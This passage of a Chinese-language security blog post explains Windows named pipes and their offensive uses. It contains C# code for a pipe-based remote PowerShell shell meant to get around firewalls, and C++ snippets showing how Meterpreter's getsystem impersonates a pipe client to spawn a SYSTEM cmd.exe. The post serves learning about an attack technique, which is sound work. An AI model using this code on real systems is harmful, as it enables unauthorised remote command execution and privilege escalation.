class="line">                Console.WriteLine(&quot;[*] Received: &#123;0&#125;&quot;, line);</span><br><span class="line">                if (line.ToLower() == &quot;exit&quot;)</span><br><span class="line">                &#123;</span><br><span class="line">                    return;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                // 参考：https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/</span><br><span class="line">                try</span><br><span class="line">                &#123;</span><br><span class="line">                    Pipeline PsPipe = runspace.CreatePipeline();</span><br><span class="line">                    PsPipe.Commands.AddScript(line);</span><br><span class="line">                    PsPipe.Commands.Add(&quot;Out-String&quot;);</span><br><span class="line">                    Collection&lt;PSObject&gt; results = PsPipe.Invoke();</span><br><span class="line">                    StringBuilder stringBuilder = new StringBuilder();</span><br><span class="line">                    foreach (PSObject obj in results)</span><br><span class="line">                    &#123;</span><br><span class="line">                        stringBuilder.AppendLine(obj.ToString());</span><br><span class="line">                    &#125;</span><br><span class="line"></span><br><span class="line">                    var response = Encoding.Default.GetBytes(stringBuilder.ToString());</span><br><span class="line"></span><br><span class="line">                    try</span><br><span class="line">                    &#123;</span><br><span class="line">                        pipeServer.Write(response, 0, response.Length);</span><br><span class="line">                    &#125;</span><br><span class="line">                    catch</span><br><span class="line">                    &#123;</span><br><span class="line">                        Console.WriteLine(&quot;[!] Pipe is broken!&quot;);</span><br><span class="line">                        break;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">                catch (Exception e)&#123;&#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">private static void SendData(string ServerName)</span><br><span class="line">&#123;</span><br><span class="line">    Console.WriteLine(&quot;[+] Connecting to &quot; + ServerName);</span><br><span class="line">    using (var pipeClient = new NamedPipeClientStream(ServerName, &quot;testpipe&quot;, PipeDirection.InOut))</span><br><span class="line">    &#123;</span><br><span class="line">        pipeClient.Connect(5000);</span><br><span class="line">        pipeClient.ReadMode = PipeTransmissionMode.Message;</span><br><span class="line">        Console.WriteLine(&quot;[+] Connection established succesfully.&quot;);</span><br><span class="line">        do</span><br><span class="line">        &#123;   </span><br><span class="line">            Console.Write(&quot;csexec&gt; &quot;);</span><br><span class="line">            var input = Console.ReadLine();</span><br><span class="line">            if (String.IsNullOrEmpty(input)) continue;</span><br><span class="line">            byte[] bytes = Encoding.Default.GetBytes(input);</span><br><span class="line">            pipeClient.Write(bytes, 0, bytes.Length);</span><br><span class="line">            if (input.ToLower() == &quot;exit&quot;) return;</span><br><span class="line">            var result = ReadMessage(pipeClient);</span><br><span class="line">            Console.WriteLine();</span><br><span class="line">            Console.WriteLine(Encoding.Default.GetString(result));</span><br><span class="line">        &#125; while (true);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="模拟令牌："><a href="#模拟令牌：" class="headerlink" title="模拟令牌："></a>模拟令牌：</h3><p>这也是命名管道中常见的一种方法，一般可以用来提权操作，我们cobaltstrike中的getsystem也就是这个原理，官方给出的内容为：</p>
<blockquote>
<p>Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” &gt;\.\pipe[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.</p>
</blockquote>
<p>大体意思也就是说，msf会创建一个命名管道，然后创建一个服务去运行cmd.exe /c echo “some data” &gt;\.\pipe[random pipe here]，当cmd连接到Meterpreter的明明管道的时候，因为服务是system权限，msf也就得到了一个system的shell。</p>
<p>Windows提供了这样的API，ImpersonateNamedPipeClient API调用是getsystem模块功能的关键。<br>ImpersonateNamedPipeClient允许命名管道模拟客户端的服务器端。调用此函数时，命名管道文件系统会更改调用进程的线程，以开始模拟从管道读取的最后一条消息的安全内容。只有管道的服务器端可以调用此函数。</p>
<p>在msf的meterpreter/source/extensions/stdapi/server/sys/process/process.c文件中，你可以看到它做了以下操作，派生令牌获取shell：</p>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (ImpersonateNamedPipeClient(namedPipe) == <span class="number">0</span>) &#123;</span><br><span class="line">				<span class="built_in">printf</span>(<span class="string">"[!] Error impersonating client\n"</span>);</span><br><span class="line">				<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">			&#125;</span><br><span class="line">   </span><br><span class="line">   <span class="keyword">if</span> (!CreateProcessAsUserA(newtoken, <span class="literal">NULL</span>, <span class="string">"cmd.exe"</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, TRUE, <span class="number">0</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, &amp;si, &amp;pi)) &#123;</span><br><span class="line">				<span class="built_in">printf</span>(<span class="string">"[!] CreateProcessAsUser failed (%d), trying another method.\n"</span>, GetLastError());</span><br><span class="line"></span><br><span class="line">				ZeroMemory(&amp;si, <span class="keyword">sizeof</span>(si));</span><br><span class="line">				si.cb = <span class="keyword">sizeof</span>(si);</span><br><span class="line">				ZeroMemory(&amp;pi, <span class="keyword">sizeof</span>(pi));</span><br><span class="line"></span><br><span class="line">				<span class="comment">// Sometimes we fail above (as shown at meterpreter/source/extensions/stdapi/server/sys/process/process.c)</span></span><br><span class="line">				<span class="keyword">if</span> (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, <span class="literal">NULL</span>, <span class="string">L"cmd.exe"</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, (LPSTARTUPINFOW)&amp;si, &amp;pi)) &#123;</span><br><span class="line">					<span class="built_in">printf</span>(<span class="string">"[!] CreateProcessWithToken failed (%d).\n"</span>, GetLastError());</span><br><span class="line">					<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">				&#125;</span><br><span class="line">			&#125;</span><br></pre></td></tr></table></figure>
<p>然后我们就可以使用下面的办法模拟令牌获取一个system的shell：</p>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">HANDLE </span><br><span class="line">	threadToken = <span class="literal">NULL</span>,</span><br><span class="line">	duplicatedToken = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line">OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, <span class="literal">false</span>, &amp;threadToken);</span><br><span class="line">DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, <span class="literal">NULL</span>, SecurityImpersonation, TokenPrimary, &amp;duplicatedToken);</span><br><span class="line">err = GetLastError();</span><br><span class="line">CreateProcessWithTokenW(duplicatedToken, <span class="number">0</span>, command, <span class="literal">NULL</span>, CREATE_NEW_CONSOLE, <span class="literal">NULL</span>, <span class="literal">NULL</span>, &amp;si, &amp;pi);</span><br></pre></td></tr></table></figure>
<p><img src="../images/czxt2/4.png" alt="0.png"></p>
<p>一些细节：</p>
<p>为了防止滥用模仿机制，Windows不允许服务器在没有得到客户同意的情况下执行模仿。客户进程在连接到服务器的时候可以指定一个SQOS（security quality of service），以此限制服务器进程可以执行的模拟等级。通过C++代码访问命名管道一般采用CreateFile函数，可以通过指定SECURITYANONYMOUS、SECURITYIDENTIFICATION、SECURITYIMPERSONATION、SECURITYDELEGATION作为标记。 默认调用CreateFile函数访问命名管道时采用的权限就是IMPERSONATION级别，只能用于模拟本地权限，无法应用域远程访问。其中权限最高的级别为DELEGATION，当客户端模拟级别设置为此级别时，服务端可以任意模拟客户端权限，包括本地和远程。 </p>
<p>写在后面：</p>
<p>windows系统博大精深，还需慢慢学习。</p>
<p>参考文章：</p>
<p><a href="https://www.anquanke.com/post/id/187497" target="_blank" rel="noopener">https://www.anquanke.com/post/id/187497</a><br><a href="http://www.secwk.com/2019/11/04/13659/" target="_blank" rel="noopener">http://www.secwk.com/2019/11/04/13659/</a><br><a href="https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation" target="_blank" rel="noopener">https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation</a><br><a href="https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/" target="_blank" rel="noopener">https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/</a><br><a href="https://rcoil.me/2019/11/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E5%91%BD%E5%90%8D%E7%AE%A1%E9%81%93/" target="_blank" rel="noopener">https://rcoil.me/2019/11/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E5%91%BD%E5%90%8D%E7%AE%A1%E9%81%93/</a><br><a href="https://rootrain.me/2020/02/29/%E6%B5%85%E6%9E%90%E5%91%BD%E5%90%8D%E7%AE%A1%E9%81%93/" target="_blank" rel="noopener">https://rootrain.me/2020/02/29/%E6%B5%85%E6%9E%90%E5%91%BD%E5%90%8D%E7%AE%A1%E9%81%93/</a></p>

      
    </div>

    

    
    
    

    <div>
      
        
<div class="my_post_copyright">
  <script src="//cdn.bootcss.com/clipboard.js/1.5.10/clipboard.min.js"></script>
  
  <!-- JS库 sweetalert 可修改路径 -->
  <script src="https://cdn.bootcss.com/jquery/2.0.0/jquery.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
  <p><span>本文标题:</span><a href="/czxt2/">操作系统笔记(二)进程通信之命名管道初探</a></p>
  <p><span>文章作者:</span><a href="/" title="访问 冷逸 的个人博客">冷逸</a></p>
  <p><span>发布时间:</span>2020年03月08日 - 15:03</p>
  <p><span>最后更新:</span>2020年04月14日 - 16:04</p>
  <p><span>原始链接:</span><a href="/czxt2/" title="操作系统笔记(二)进程通信之命名管道初探">https://lengjibo.github.io/czxt2/</a>
    <span class="copy-path"  title="点击复制文章链接"><i class="fa fa-clipboard" data-clipboard-text="https://lengjibo.github.io/czxt2/"  aria-label="复制成功！"></i></span>
  </p>
  <p><span>许可协议:</span><i class="fa fa-creative-commons"></i> <a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/" target="_blank" title="Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)">署名-非商业性使用-禁止演绎 4.0 国际</a> 转载请保留原文链接及作者。</p>  
</div>
<script> 
    var clipboard = new Clipboard('.fa-clipboard');
    $(".fa-clipboard").click(function(){
      clipboard.on('success', function(){
        swal({   
          title: "",   
          text: '复制成功',
          icon: "success", 
          showConfirmButton: true
          });
    });
    });  
</script>


      
    </div>
    <div>
      
        <div>
    
        <div style="text-align:center;color: #555;font-size:14px;">-------------The End-------------</div>
    
</div>

      
    </div>
    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechat.png" alt="冷逸 WeChat Pay"/>
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/zhifubao.jpg" alt="冷逸 Alipay"/>
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/操作系统/" rel="tag"><i class="fa fa-tag"></i> 操作系统</a>
          
            <a href="/tags/生产者消费者/" rel="tag"><i class="fa fa-tag"></i> 生产者消费者</a>
          
            <a href="/tags/命名管道/" rel="tag"><i class="fa fa-tag"></i> 命名管道</a>
          
        </div>
      

      
      
        <div class="post-widgets">
        

        

        
          
          <div class="social_share">
            
               <div>
                 
  <div class="bdsharebuttonbox">
    <a href="#" class="bds_tsina" data-cmd="tsina" title="分享到新浪微博"></a>
    <a href="#" class="bds_douban" data-cmd="douban" title="分享到豆瓣网"></a>
    <a href="#" class="bds_sqq" data-cmd="sqq" title="分享到QQ好友"></a>
    <a href="#" class="bds_qzone" data-cmd="qzone" title="分享到QQ空间"></a>
    <a href="#" class="bds_weixin" data-cmd="weixin" title="分享到微信"></a>
    <a href="#" class="bds_tieba" data-cmd="tieba" title="分享到百度贴吧"></a>
    <a href="#" class="bds_twi" data-cmd="twi" title="分享到Twitter"></a>
    <a href="#" class="bds_fbook" data-cmd="fbook" title="分享到Facebook"></a>
    <a href="#" class="bds_more" data-cmd="more"></a>
    <a class="bds_count" data-cmd="count"></a>
  </div>
  <script>
    window._bd_share_config = {
      "common": {
        "bdText": "",
        "bdMini": "2",
        "bdMiniList": false,
        "bdPic": ""
      },
      "share": {
        "bdSize": "16",
        "bdStyle": "0"
      },
      "image": {
        "viewList": ["tsina", "douban", "sqq", "qzone", "weixin", "twi", "fbook"],
        "viewText": "分享到：",
        "viewSize": "16"
      }
    }
  </script>

<script>
  with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='//bdimg.share.baidu.com/static/api/js/share.js?cdnversion='+~(-new Date()/36e5)];
</script>

               </div>
            
            
          </div>
        
        </div>
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/czxt/" rel="next" title="操作系统笔记(一)之生产者消费者模式">
                <i class="fa fa-chevron-left"></i> 操作系统笔记(一)之生产者消费者模式
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/csbeacon/" rel="prev" title="cobal strike内网上线">
                cobal strike内网上线 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>


  </div>


          </div>
          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Inhaltsverzeichnis
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Übersicht
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <img class="site-author-image" itemprop="image"
                src="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg"
                alt="冷逸" />
            
              <p class="site-author-name" itemprop="name">冷逸</p>
              <p class="site-description motion-element" itemprop="description">做一个温柔的人...</p>
          </div>

          
            <nav class="site-state motion-element">
              
                <div class="site-state-item site-state-posts">
                
                  <a href="/archives/">
                
                    <span class="site-state-item-count">113</span>
                    <span class="site-state-item-name">Artikel</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-categories">
                  <a href="/categories/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">19</span>
                    <span class="site-state-item-name">Kategorien</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-tags">
                  <a href="/tags/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">120</span>
                    <span class="site-state-item-name">Tags</span>
                  </a>
                </div>
              
            </nav>
          

          
            <div class="feed-link motion-element">
              <a href="/../../.deploy_git/atom.xml" rel="alternate">
                <i class="fa fa-rss"></i>
                RSS
              </a>
            </div>
          

          
            <div class="links-of-author motion-element">
              
                <span class="links-of-author-item">
                  <a href="https://github.com/lengjibo" target="_blank" title="GitHub"><i class="fa fa-fw fa-globe"></i>GitHub</a>
                  
                </span>
              
                <span class="links-of-author-item">
                  <a href="qqlengyi@163.com" target="_blank" title="E-Mail"><i class="fa fa-fw fa-globe"></i>E-Mail</a>
                  
                </span>
              
            </div>
          
        <div id="music163player">
            <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="https://music.163.com/outchain/player?type=0&id=377079922&auto=1&height=90"></iframe>
          </div>
          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                友情链接
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sqlmap.wiki/" title="青春's blog" target="_blank">青春's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.addon.pub/" title="Yokeen's blog" target="_blank">Yokeen's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://freeerror.org/" title="之乎者也's blog" target="_blank">之乎者也's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.bugbank.cn/team/FrigidSword" title="漏洞银行" target="_blank">漏洞银行</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.vulbox.com/team/Frigid%20Sword%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F" title="漏洞盒子" target="_blank">漏洞盒子</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://godpang.github.io/" title="Mr.赵" target="_blank">Mr.赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://amliaw4.github.io/" title="amliaW4'S Blog" target="_blank">amliaW4'S Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.se7ensec.cn/" title="se7en's Blog" target="_blank">se7en's Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://ninjia.gitbook.io/secskill/" title="secskill" target="_blank">secskill</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.bug1024.cn/" title="ibug" target="_blank">ibug</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://wwcx.org/" title="Strjziny's Blog" target="_blank">Strjziny's Blog</a>
                  </li>
                
              </ul>
            </div>
          

          
            
          
          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#关于命名管道："><span class="nav-number">1.</span> <span class="nav-text">关于命名管道：</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#列出计算机内所有的命名管道："><span class="nav-number">1.1.</span> <span class="nav-text">列出计算机内所有的命名管道：</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#命名管道的创建及通信"><span class="nav-number">2.</span> <span class="nav-text">命名管道的创建及通信</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#demo："><span class="nav-number">2.1.</span> <span class="nav-text">demo：</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#实际利用"><span class="nav-number">3.</span> <span class="nav-text">实际利用</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#绕过防火墙："><span class="nav-number">3.1.</span> <span class="nav-text">绕过防火墙：</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#模拟令牌："><span class="nav-number">3.2.</span> <span class="nav-text">模拟令牌：</span></a></li></ol></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2014 – <span itemprop="copyrightYear">2020</span>
  <span class="with-love" id="animate">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">冷逸</span>

  

  
</div>




  <div class="powered-by">Erstellt mit  <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> v3.7.1</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme – <a class="theme-link" target="_blank" href="https://theme-next.org">NexT.Muse</a> v6.4.0</div>






        
<div class="busuanzi-count">
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv" title="Total Visitors">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
    </span>
  

  
    <span class="site-pv" title="Total Views">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
    </span>
  
</div>









        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    
	
    

    
  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>














  







  
  







  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/jquery/2.1.3/jquery.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.ui.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.1/canvas-nest.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/three.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/canvas_sphere.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=6.4.0"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=6.4.0"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=6.4.0"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=6.4.0"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=6.4.0"></script>



  



  










  





  

  

  

  

  
  

  

  

  

  

  

<script src="/live2dw/lib/L2Dwidget.min.js?0c58a1486de42ac6cc1c59c7d98ae887"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
<script type="text/javascript" src="/js/src/love.js"></script>
